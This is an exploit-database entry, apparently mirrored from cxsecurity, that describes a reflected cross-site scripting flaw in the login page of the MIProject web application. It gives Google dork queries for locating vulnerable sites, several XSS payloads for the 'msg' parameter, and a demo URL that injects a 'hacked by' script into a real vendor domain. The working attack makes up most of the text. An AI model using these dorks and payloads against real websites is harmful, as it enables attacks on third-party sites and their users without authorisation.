Advertisement






MIProject Cross Site Scripting (XSS)

CVE Category Price Severity
N/A CWE-79 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2021-01-31
CPE
cpe:cpe:/a:miproject:cross-site-scripting-xss
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 0.09 0.75

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010205

Below is a copy:

MIProject Cross Site Scripting (XSS)
[+] Title: MIProject Cross Site Scripting (XSS)
[+] date: 2021-01-31
[+] Author: s433d3h
[+] Vendor Homepage: mirchevideas.com
[+] Tested on: Windows 10 & Google Chrome
[+] Vulnerable File: /login.php?msg=
[+] Vulnerable Parameter: Get Method
[+] Dork: intext:"Powered by MIProject."
intext:"Powered by MIProject." inurl:"/login.php?msg="

### POC:

[+} site.com/login.php?msg=

### Xss Alert Code: "><script>alert()</script>
"><svg onload=alert()>

                    '><script>alert('');</script>

<IMG "'"><script>alert()</script>'>

And Etc.


### Demo:

[+] https://project.mirchevideas.com/clients/login.php?msg=%22%3E%3Cscript%3Ealert(%27hacked%20by%20h4shur%27)%3C/script%3E

### thanks to :
* h4shur

### Contact Me :

* twitter.com/s433d3h

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.